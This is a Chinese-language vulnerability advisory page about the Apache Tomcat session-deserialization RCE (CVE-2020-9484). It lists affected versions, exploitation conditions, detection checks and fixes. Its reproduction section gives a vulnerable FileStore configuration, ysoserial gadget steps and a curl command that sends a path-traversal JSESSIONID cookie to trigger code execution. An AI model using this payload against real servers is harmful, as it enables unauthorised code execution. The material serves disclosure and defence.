微慑信息网

Apache Tomcat 反序列化代码执行漏洞(CVE-2020-9484)

漏洞概述

北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

成功利用此漏洞需要同时满足以下4个条件:

1.攻击者能够控制服务器上文件的内容和文件名称

2.服务器PersistenceManager配置中使用了FileStore

3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

漏洞影响

【威胁等级】

中危

【影响版本】

  • Apache Tomcat 10.0.0-M1—10.0.0-M4
  • Apache Tomcat 9.0.0.M1—9.0.34
  • Apache Tomcat 8.5.0—8.5.54
  • Apache Tomcat 7.0.0—7.0.103

漏洞复现

漏洞环境可以在本地搭建或者使用docker环境

【本地环境搭建】

  1. 官网下载漏洞版本链接:archive.apache.org/dist
  2. 配置tomcat的conf/context.xml文件:

<Context>

<Manager className=”org.apache.catalina.session.PersistentManager”

debug=”0″

saveOnRestart=”false”

maxActiveSession=”-1″

minIdleSwap=”-1″

maxIdleSwap=”-1″

maxIdleBackup=”-1″>

<Store className=”org.apache.catalina.session.FileStore” directory=”./session” />

</Manager>

</Context>

3. 部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:

dependencies {

compile ‘org.apache.commons:commons-collections4:4.0’

}

【docker环境搭建】

$ git clone github.com/masahiro331/

$ cd CVE-2020-9484

$ docker build -t tomcat:groovy .

$ docker run -d -p 8080:8080 tomcat:groovy

【本地环境验证】

1、使用ysoserial工具生成commons-collections4依赖的gadget恶意序列化数据(这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:github.com/threedr3am/t

2、通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录(后缀必须是“.session”)

3、发起恶意请求,请求payload。

结果显示漏洞存在。

【docker环境验证】

执行以下命令进行利用

curl ‘127.0.0.1:8080/index.js‘ -H ‘Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy’

运行结果检查:

在tmp下创建rce目录,漏洞存在。

漏洞检测

【版本检查】

从Apache Tomcat官网下载的安装包名称中会包含Tomcat的版本号,如果解压后没有更改目录名,可通过查看文件夹名称来确定当前使用的版本;

如果解压后目录名称被修改过,或者通过Windows Service Installer方式安装,可使用软件自带的version模块来获取当前的版本。也可以进入Tomcat安装目录的bin目录,运行version.bat(Linux运行version.sh)后,可查看当前的软件版本号。

【配置检查】

查看conf/context.xml文件或具体项目的server.xml文件中,是否存在以下<Manager>节点

若当前版本在受影响范围内且在PersistenceManager配置中使用了FileStore,则可能存在安全风险。

修复建议

【通用修补】

目前官方已在最新版本中修复了该漏洞,官方下载链接:

【临时修补】

禁止使用Session持久化功能FileStore。(或单独配置sessionAttributeValueClassNameFilte的值确保只有特定属性的对象可以被序列化与反序列化)

参考链接:

tomcat.apache.org/secur

github.com/threedr3am/t

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » Apache Tomcat 反序列化代码执行漏洞(CVE-2020-9484)

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册